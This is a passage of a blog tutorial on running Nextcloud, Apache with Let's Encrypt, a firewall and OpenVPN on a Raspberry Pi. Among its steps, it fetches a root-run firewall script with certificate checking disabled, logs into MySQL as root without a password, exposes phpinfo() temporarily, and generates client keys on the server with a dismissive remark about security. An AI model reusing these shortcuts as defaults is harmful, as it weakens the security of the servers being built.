sha256sum -c &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;wget -q https://download.nextcloud.com/server/releases/nextcloud-20.0.4.zip.sha256 -O -&lt;span class="o"&gt;)&lt;/span&gt; &amp;lt; nextcloud-20.0.4.zip
unzip nextcloud-20.0.4.zip
chown -R www-data:www-data /var/www/nextcloud/

mysql -u root -p &lt;span class="c1"&gt;# No password is required, just hit enter&lt;/span&gt;
CREATE USER &lt;span class="s1"&gt;&amp;#39;nextclouduser&amp;#39;&lt;/span&gt;@&lt;span class="s1"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt; IDENTIFIED BY &lt;span class="s1"&gt;&amp;#39;Password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
create database nextcloud&lt;span class="p"&gt;;&lt;/span&gt;
GRANT ALL PRIVILEGES ON nextcloud.* TO &lt;span class="s1"&gt;&amp;#39;nextclouduser&amp;#39;&lt;/span&gt;@&lt;span class="s1"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
flush privileges&lt;span class="p"&gt;;&lt;/span&gt;
exit&lt;span class="p"&gt;;&lt;/span&gt;

mysql -u nextclouduser -p &lt;span class="c1"&gt;# Make sure it worked&lt;/span&gt;
mysql_secure_installation

a2enmod ssl
a2ensite default-ssl &lt;span class="c1"&gt;# Enable HTTPS website&lt;/span&gt;

apachectl -M &lt;span class="c1"&gt;# Check modules enabled&lt;/span&gt;
&lt;span class="c1"&gt;# Enable the following if not already done&lt;/span&gt;
a2enmod rewrite
a2enmod headers
a2enmod env
a2enmod dir
a2enmod mime
systemctl restart apache2
systemctl disable apache2 &lt;span class="c1"&gt;# No auto start on boot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now edit &lt;code&gt;/etc/apache2/sites-enabled/000-default.conf&lt;/code&gt;. It must contain the following (note that the redirection to https can be automatically added by Let's Encrypt, see farther below):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Alias / &amp;quot;/var/www/nextcloud/&amp;quot;
&amp;lt;Directory &amp;quot;/var/www/nextcloud&amp;quot;&amp;gt;
    Options +FollowSymLinks
    AllowOverride All

    &amp;lt;IfModule mod_dav.c&amp;gt;
        Dav off
    &amp;lt;/IfModule&amp;gt;

    SetEnv HOME /var/www/nextcloud
    SetEnv HTTP_HOME /var/www/nextcloud
&amp;lt;/Directory&amp;gt;

&amp;lt;Directory &amp;quot;/mnt/data_partition/&amp;quot;&amp;gt;
    # just in case if .htaccess gets disabled
    Require all denied
&amp;lt;/Directory&amp;gt;

&amp;lt;VirtualHost *:80&amp;gt;
    ServerName &amp;lt;YOUR DOMAIN&amp;gt;
    ServerAdmin &amp;lt;YOUR EMAIL ADDRESS&amp;gt;
    DocumentRoot /var/www/nextcloud

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    Redirect permanent / https://&amp;lt;YOUR DOMAIN&amp;gt;/
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Bring the changes between &lt;code&gt;&amp;lt;VirtualHost&amp;gt;&lt;/code&gt; tags to &lt;em&gt;/etc/apache2/sites-enables/default-ssl.conf&lt;/em&gt;, except for the instruction &lt;code&gt;Redirect&lt;/code&gt;. Additionally, add instructions taken from &lt;a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/?server=apache-2.4.25&amp;amp;openssl=1.1.0j&amp;amp;hsts=yes&amp;amp;profile=modern"&gt;Mozilla SSL Configuration Generator&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lt;VirtualHost *:443&amp;gt;
    ...
    # SSLEngine on # We&amp;#39;ll uncomment this later

    # HSTS (mod_headers is required) (15552000 seconds = 6 months)
    Header always set Strict-Transport-Security &amp;quot;max-age=15552000; includeSubDomains&amp;quot;
    ...
&amp;lt;/VirtualHost&amp;gt;

# modern configuration, tweak to your needs
SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder     on
SSLCompression          off
SSLSessionTickets       off

# OCSP Stapling, only in httpd 2.3.3 and later
SSLUseStapling          on
SSLStaplingResponderTimeout 5
SSLStaplingReturnResponderErrors off
SSLStaplingCache        shmcb:/var/run/ocsp(128000)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let us now improve a bit Apache's security. Edit &lt;em&gt;/etc/apache2/conf-enabled/security.conf&lt;/em&gt; like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ServerSignature Off
Header set X-Frame-Options: &amp;quot;sameorigin&amp;quot; # Require mod_headers
ServerTokens Prod
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now get a browser-trusted certificate from &lt;a href="https://letsencrypt.org/"&gt;Let's Encrypt&lt;/a&gt;. Here is a summary of &lt;a href="https://certbot.eff.org/lets-encrypt/debianbuster-apache"&gt;the official instructions&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt update
apt install snapd
&lt;span class="nb"&gt;exit&lt;/span&gt;
su &lt;span class="c1"&gt;# To reload paths&lt;/span&gt;
snap install core
snap refresh core
snap install --classic certbot
ln -s /snap/bin/certbot /usr/bin/certbot

&lt;span class="c1"&gt;# Set up NAT/PAT rules in your router so that ports 80 and 443 are reachable from the Internet. Then:&lt;/span&gt;
certbot --apache
&lt;span class="c1"&gt;# Now uncomment SSLEngine on in default-ssl.conf&lt;/span&gt;
&lt;span class="c1"&gt;# Also, your router must accept connections on port 80 for the renewal to work.&lt;/span&gt;
certbot renew --dry-run &lt;span class="c1"&gt;# Try renewal&lt;/span&gt;
&lt;span class="c1"&gt;# It should be programmed to regularily renew the certificate automatically.&lt;/span&gt;
&lt;span class="c1"&gt;# Check with `systemctl list-timers`.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And restart &lt;code&gt;systemctl restart apache2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, visit http://raspberry-pi-IP/ once. This will create &lt;code&gt;/var/www/nextcloud/config/config.php&lt;/code&gt;. Edit this file like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s1"&gt;&amp;#39;overwrite.cli.url&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s1"&gt;&amp;#39;https://example.org/&amp;#39;&lt;/span&gt;,
&lt;span class="s1"&gt;&amp;#39;htaccess.RewriteBase&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And run &lt;code&gt;cd /var/www/nextcloud &amp;amp;&amp;amp; sudo -u www-data php occ maintenance:update:htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ultimately, verify everything is all right using &lt;a href="https://www.ssllabs.com/ssltest/"&gt;SSL LABS's SSL server test&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You may now restart Apache2.&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cryptsetup -v luksOpen /dev/sda3 hddcrypt
mount /dev/mapper/hddcrypt /mnt/data_partition/
mkdir /mnt/data_partition/nextcloud_data
chown -R www-data:www-data /mnt/data_partition/nextcloud_data/
chmod &lt;span class="m"&gt;750&lt;/span&gt; /mnt/data_partition/nextcloud_data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now you can start setting up Nextcloud at https://raspberry-pi-IP/. Set the data folder to be &lt;code&gt;/mnt/data_partition/nextcloud_data&lt;/code&gt;. Once set up, go visit &lt;code&gt;/settings/admin/overview&lt;/code&gt; for tips on how to improve your setup.&lt;/p&gt;
&lt;h2 id="improve-phps-performance"&gt;Improve PHP's performance&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su

&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;CONF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/php/7.3/apache2/php.ini
&lt;span class="c1"&gt;# Or /etc/php/7.3/fpm/php.ini if running HTTP2&lt;/span&gt;

sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.enable=1/opcache.enable=1/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.enable_cli=0/opcache.enable_cli=1/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.memory_consumption=128/opcache.memory_consumption=128/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.interned_strings_buffer=8/opcache.interned_strings_buffer=8/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.max_accelerated_files=10000/opcache.max_accelerated_files=10000/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.revalidate_freq=2/opcache.revalidate_freq=240/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/memory_limit = 128M/memory_limit = 512M/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/upload_max_filesize = 2M/upload_max_filesize = 16G/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/post_max_size = 8M/post_max_size = 16G/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/output_buffering = 4096/output_buffering = 0/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/max_input_time = 60/max_input_time = 3600/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/max_execution_time = 30/max_execution_time = 3600/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF&lt;/span&gt;

&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;CONF_CLI&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/php/7.3/cli/php.ini
&lt;span class="c1"&gt;# /etc/php/7.0/cli/php.ini is used by Nextcloud&amp;#39;s CRON jobs&lt;/span&gt;

sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.enable=1/opcache.enable=1/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF_CLI&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.enable_cli=0/opcache.enable_cli=1/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF_CLI&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/;opcache.revalidate_freq=2/opcache.revalidate_freq=240/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF_CLI&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/output_buffering = 4096/output_buffering = 0/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF_CLI&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/max_input_time = 60/max_input_time = 3600/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF_CLI&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/max_execution_time = 30/max_execution_time = 3600/&amp;quot;&lt;/span&gt; -i &lt;span class="nv"&gt;$CONF_CLI&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To significantly improve performance overall, you'll also need data caching: &lt;strong&gt;APCu&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt install php-apcu
phpenmod apcu
service apache2 restart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, add the following in &lt;em&gt;/var/www/nextcloud/config/config.php&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;#39;memcache.local&amp;#39; =&amp;gt; &amp;#39;\OC\Memcache\APCu&amp;#39;,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Restart Apache. Running &lt;code&gt;php -i&lt;/code&gt; will say &lt;em&gt;opcache.enable =&amp;gt; On&lt;/em&gt; and &lt;em&gt;Opcode Caching =&amp;gt; Up and Runnning&lt;/em&gt;. If you temporarily replace the content of &lt;code&gt;status.php&lt;/code&gt; with &lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;, when accessing &lt;code&gt;/status.php&lt;/code&gt; you should see the same results. Make sure as well that APCu is enabled in the webpage.&lt;/p&gt;
&lt;h2 id="improve-nextclouds-settings"&gt;Improve Nextcloud's settings&lt;/h2&gt;
&lt;p&gt;Add the following in &lt;em&gt;/var/www/nextcloud/config/config.php&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;#39;logtimezone&amp;#39; =&amp;gt; &amp;#39;Europe/Paris&amp;#39;,
&amp;#39;logfile&amp;#39; =&amp;gt; &amp;#39;/var/log/nextcloud/nextcloud.log&amp;#39;,
&amp;#39;default_phone_region&amp;#39; =&amp;gt; &amp;#39;DE&amp;#39;,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su -
mkdir /var/log/nextcloud
chown www-data:www-data /var/log/nextcloud
&lt;span class="nb"&gt;exit&lt;/span&gt;
sudo -u www-data bash
touch /var/log/nextcloud/nextcloud.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In Nextcloud, enable the server-side encryption in the admin settings, and enable the app called &lt;em&gt;Default encryption module&lt;/em&gt; in the web interface, while logged in as an admin. You'll need to log out and in to actually enable encryption for good.&lt;/p&gt;
&lt;p&gt;Install and enable the app "Two Factor TOTP Provider" in &lt;code&gt;URL/settings/apps&lt;/code&gt;. Then, go to &lt;code&gt;URL/settings/user/security&lt;/code&gt; and enable TOTP.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;URL/settings/admin&lt;/code&gt;, change the jobs mechanism to cron (read the documentation by clicking on the i icon).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;*/5  *  *  *  * &lt;span class="o"&gt;[&lt;/span&gt; -L /dev/mapper/hddcrypt &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; php -f /var/www/nextcloud/cron.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="firewall"&gt;Firewall&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
wget --no-check-certificate https://raw.githubusercontent.com/rpellerin/dotfiles/master/scripts/firewall.sh
wget --no-check-certificate https://raw.githubusercontent.com/rpellerin/dotfiles/master/scripts/firewall.service
chmod &lt;span class="m"&gt;700&lt;/span&gt; firewall.sh
chmod &lt;span class="m"&gt;700&lt;/span&gt; firewall.service
chown root:root firewall.sh
chown root:root firewall.service
&lt;span class="c1"&gt;# Edit the content of firewall.service so that the path to firewall.sh is correct&lt;/span&gt;
mv firewall.service /etc/systemd/system/
systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; firewall
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Edit &lt;code&gt;firewall.sh&lt;/code&gt; that way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;TCP_SERVICES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;80 443&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# SSH is handled separately elsewhere // http, https&lt;/span&gt;
&lt;span class="nv"&gt;UDP_SERVICES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;68 1194&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# DHCP, OpenVPN&lt;/span&gt;

&lt;span class="nv"&gt;REMOTE_TCP_SERVICES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;21 22 43 80 443 465 993&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# ftp, ssh, whois, http, https, smtp (ssl), imap&lt;/span&gt;
&lt;span class="nv"&gt;REMOTE_UDP_SERVICES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;53 67 123&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# DNS (&amp;quot;whois&amp;quot; command for example), DHCP, ntp (time update)&lt;/span&gt;

&lt;span class="c1"&gt;# NETWORK_MGMT=192.168.1.0/24&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="openvpn-247"&gt;OpenVPN 2.4.7&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su - &lt;span class="c1"&gt;# The hyphen to get $PATH updated, so as to include /usr/sbin&lt;/span&gt;
apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt install openvpn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Read the &lt;a href="https://openvpn.net/community-resources/how-to/"&gt;official documentation&lt;/a&gt; (&lt;a href="https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto"&gt;here, short tutorial for easy-rsa3&lt;/a&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cp -R /usr/share/easy-rsa/ /etc/openvpn
&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/openvpn/easy-rsa
cp vars.example vars
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;set_var EASYRSA_KEY_SIZE       2048&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; vars &lt;span class="c1"&gt;# No need to source this file&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;set_var EASYRSA_CERT_EXPIRE    3650&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; vars
&lt;span class="c1"&gt;# Edit also EASYRSA_REQ_COUNTRY, PROVINCE, CITY, ORG, and EMAIL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From now on, I highly recommend you read &lt;em&gt;/etc/openvpn/easy-rsa/doc/EasyRSA-Readme.md&lt;/em&gt; and &lt;a href="https://github.com/OpenVPN/easy-rsa/blob/master/README.quickstart.md"&gt;https://github.com/OpenVPN/easy-rsa/blob/master/README.quickstart.md&lt;/a&gt; in order to continue setting up OpenVPN. As explained, you need to create a PKI to get three distinct things: your CA, a certificate and private key for the server and another couple of this kind for clients. Normally you should generate the pair for clients on your personnal computer, however it's not necessary in our case (who cares about security anyway?).&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./easyrsa init-pki
./easyrsa build-ca &lt;span class="c1"&gt;# Add a CA password. Add a different strong PEM passphrase which will be used to sign other certificates. Leave unchanged the default Common Name.&lt;/span&gt;
./easyrsa gen-req server nopass &lt;span class="c1"&gt;# ./easyrsa gen-req &amp;lt;name&amp;gt; Do not add a password for the server; use &amp;#39;server&amp;#39; as the Common Name (CN)&lt;/span&gt;
./easyrsa sign-req server server &lt;span class="c1"&gt;# ./easyrsa sign-req &amp;lt;type&amp;gt; &amp;lt;name&amp;gt;&lt;/span&gt;
./easyrsa gen-req client &lt;span class="c1"&gt;# Use &amp;#39;client&amp;#39; as CN; add a passphrase that you will need later when you try to connect to your VPN server&lt;/span&gt;
./easyrsa sign-req client client
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once the certificates and private keys are generated for the server and a client at least, do the following on your Pi and then go back to reading OpenVPN's documentation:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./easyrsa gen-dh
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/
&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/openvpn
openvpn --genkey secret ta.key
vim server.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You should edit &lt;em&gt;server.conf&lt;/em&gt; like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;port 1194
proto udp6
dev tun
ca /etc/openvpn/easy-rsa/pki/ca.crt
cert /etc/openvpn/easy-rsa/pki/issued/server.crt
key /etc/openvpn/easy-rsa/pki/private/server.key
dh /etc/openvpn/easy-rsa/pki/dh.pem
topology subnet
server-ipv6 fd42:42:42:42::/112
# Add the following line only if you intend to access the network 192.168.1.0/24,
# to which the server must be connected.
push &amp;quot;route 192.168.1.0 255.255.255.0&amp;quot;
push &amp;quot;route-ipv6 2000::/3&amp;quot;
push &amp;quot;redirect-gateway def1 bypass-dhcp ipv6&amp;quot;
push &amp;quot;dhcp-option DNS 8.8.8.8&amp;quot;
push &amp;quot;dhcp-option DNS 8.8.4.4&amp;quot;
tls-auth /etc/openvpn/ta.key 0
max-clients 2
user nobody
group nogroup
log-append  openvpn.log
verb 6
mute 20
script-security 3
client-connect &amp;quot;/etc/openvpn/notifyconnect.sh&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Keep the rest as-is. Some parts of this configuration were copied from &lt;a href="https://github.com/angristan/openvpn-install/blob/master/openvpn-install.sh"&gt;openvpn-install&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now create &lt;code&gt;/etc/openvpn/notifyconnect.sh&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;On `date`&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; mail -s &lt;span class="s2"&gt;&amp;quot;OpenVPN client connection&amp;quot;&lt;/span&gt; root@localhost &lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null
sleep &lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="c1"&gt;# We can&amp;#39;t run `runq`  or `exim -qff` since this script is called by user `nobody`.&lt;/span&gt;
&lt;span class="c1"&gt;# Also make sure this script returns 0 otherwise the VPN connection will fail.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;chmod +x /etc/openvpn/notifyconnect.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, edit &lt;em&gt;client.conf&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;remote &amp;lt;your DynHost domain&amp;gt; 1194
user nobody
group nogroup
mute-replay-warnings
# Normally next lines are uncommented but we won&amp;#39;t need them
#ca /etc/openvpn/easy-rsa/easyrsa3/pki/ca.crt
#cert /etc/openvpn/easy-rsa/easyrsa3/pki/issued/client.crt
#key /etc/openvpn/easy-rsa/easyrsa3/pki/private/client.key
#tls-auth /etc/openvpn/ta.key 1
remote-cert-tls server
mute 20
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ultimately do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat /etc/openvpn/client.conf &amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;key-direction 1&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;script-security 2&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;up /etc/openvpn/update-resolv-conf&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;down /etc/openvpn/update-resolv-conf&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;ca&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
cat /etc/openvpn/easy-rsa/pki/ca.crt &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;/ca&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;cert&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
cat /etc/openvpn/easy-rsa/pki/issued/client.crt &lt;span class="p"&gt;|&lt;/span&gt; sed -ne &lt;span class="s1"&gt;&amp;#39;/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;/cert&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;key&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
cat /etc/openvpn/easy-rsa/pki/private/client.key &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;/key&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;tls-auth&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
cat /etc/openvpn/ta.key &amp;gt;&amp;gt; client.ovpn
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;/tls-auth&amp;gt;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; client.ovpn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Copy that &lt;em&gt;client.ovpn&lt;/em&gt; file on your client.&lt;/p&gt;
&lt;p&gt;On your Pi, uncomment the following line in &lt;em&gt;/etc/sysctl.conf&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;net.ipv4.ip_forward=1
